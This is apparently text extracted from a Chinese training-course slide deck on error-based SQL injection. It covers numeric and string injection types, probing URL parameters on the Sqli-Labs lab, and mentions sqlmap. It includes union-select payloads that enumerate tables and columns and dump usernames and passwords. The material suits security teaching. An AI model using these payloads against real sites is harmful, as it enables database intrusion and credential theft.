Web攻防视频教程第四节 基于报错的SQL注入-01.pdf

Web攻防训练营

基于报错的SQL注入

课程内容

1.SQL注入的分类3.GET基于报错的SQL注入利用

2.GET基于报错的SQL注入发现4.利用Sqlmap测试

01

SQL注入的分类

根据注入位置数据类型可将SQL注入分为两类：数字型和字符型。

例如：

数字型：select*fromtablewhereid=用户输入id

例如：

字符型：select*fromtablewhereid=用户输入id

02

GET基于报错的SQL注入发现

通过在URL中修改对应ID值，为正常数字、大数字、字符（单引号、双引号、双单引号、括号）、反

斜杠\来探测URL中是否存在注入点。

实验：Sqli-LabLess1~4,GET基于报错SQL注入。

03

GET基于报错的SQL注入利用

1、利用orderby判断字段数。

2、利用unionselect联合查询，获取表名。

0unionselect1,group_concat(table_name),3frominformation_schema.tableswhere

table_schema=database()--+

3、利用unionselect联合查询，获取字段名。

0unionselect1,group_concat(column_name),3frominformation_schema.columnswhere

table_name=users--+

4、利用unionselect联合查询，获取字段值。

0unionselect1,group_concat(username,0x3a,password),3fromusers--+

04

利用Sqlmap测试

利用Sqlmap进行SQL注入漏洞利用

总结

1.SQL注入的分类3.GET基于报错的SQL注入利用

2.GET基于报错的SQL注入发现4.利用Sqlmap测试

再见

欢迎关注Web安全训练营课程